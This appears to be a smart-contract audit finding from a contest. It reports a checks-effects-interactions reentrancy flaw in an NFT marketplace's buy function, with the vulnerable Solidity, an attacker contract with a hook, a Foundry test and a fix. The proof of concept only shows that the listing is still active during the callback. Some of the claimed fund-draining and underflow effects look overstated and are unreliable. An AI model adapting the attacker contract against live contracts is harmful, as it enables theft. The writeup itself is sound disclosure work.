NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: medium

NFTDealers::buy does not follow CEI pattern allowing reentrancy to buy NFT multiple times

Author Revealed upon completion

NFTDealers::buy does not follow CEI pattern allowing reentrancy to buy NFT multiple times

Description

  • buy allows any user to purchase a listed NFT by paying the listing price in USDC. The function transfers USDC from the buyer, sends the NFT to the buyer, and then marks the listing as inactive.

  • The function marks listing.isActive = false AFTER calling _safeTransfer. Since _safeTransfer triggers onERC721Received on the buyer if it is a contract, an attacker can reenter buy during this callback while isActive is still true, draining USDC from the contract by purchasing the same listing multiple times.

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
//@> INTERACTION — triggers onERC721Received on buyer contract
//@> isActive is still true at this point
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
//@> EFFECT comes after interaction — too late
s_listings[_listingId].isActive = false;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Risk

Likelihood: Medium

  • Any buyer deploying a contract with a malicious onERC721Received
    hook can trigger this — no special access or whitelist required

  • The attack is straightforward to execute and profitable whenever
    the contract holds USDC from other listings or collateral

Impact: High

  • Attacker drains USDC from the contract by triggering multiple purchases of the same listing in a single transaction

  • activeListingsCounter is decremented on every reentrant call causing underflow and permanently corrupting protocol accounting

  • Other sellers lose their funds as contract balance is drained

Proof of Concept

The following attacker contract reads isActive inside onERC721Received— if CEI was followed it would be false at this point. The assert reverts proving isActive is still true during the callback, confirming the vulnerability.

contract BuyReentrancyAttacker is IERC721Receiver {
NFTDealers nftDealers;
MockUSDC usdc;
uint256 listingId;
bool attacked = false;
constructor(address _nftDealers, address _usdc) {
nftDealers = NFTDealers(_nftDealers);
usdc = MockUSDC(_usdc);
}
function attack(uint256 _listingId, uint256 _price) external {
listingId = _listingId;
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(_listingId);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
// read listing state — if CEI was followed isActive would be false here
(,,,, bool isActive) = nftDealers.s_listings(listingId);
// proves reentrancy: listing is still active during NFT transfer callback
assert(!isActive); // this will REVERT proving isActive is still true
return IERC721Receiver.onERC721Received.selector;
}
}
// Also add the following test case to verify the vulnerability
function test_BuyReentrancy() public revealed whitelisted() {
BuyReentrancyAttacker buyAttacker = new BuyReentrancyAttacker(
address(nftDealers),
address(usdc)
);
uint256 tokenId = 1;
uint256 nftPrice = 1000e6;
mintAndListNFTForTesting(tokenId, nftPrice);
usdc.mint(address(buyAttacker), nftPrice);
// assert fires inside onERC721Received proving isActive = true during callback
vm.expectRevert();
buyAttacker.attack(tokenId, nftPrice);
console.log("isActive was still true during _safeTransfer callback");
console.log("s_listings[1].isActive = false comes AFTER the external call");
}

Recommended Mitigation

Move isActive = false above _safeTransfer to follow CEI, and add
OpenZeppelin ReentrancyGuard as a second layer of protection:

+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
-contract NFTDealers is ERC721 {
+contract NFTDealers is ERC721, ReentrancyGuard {
-function buy(uint256 _listingId) external payable {
+function buy(uint256 _listingId) external payable nonReentrant {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
+ // EFFECTS first
+ s_listings[_listingId].isActive = false;
activeListingsCounter--;
+ // INTERACTIONS last
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
- s_listings[_listingId].isActive = false;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!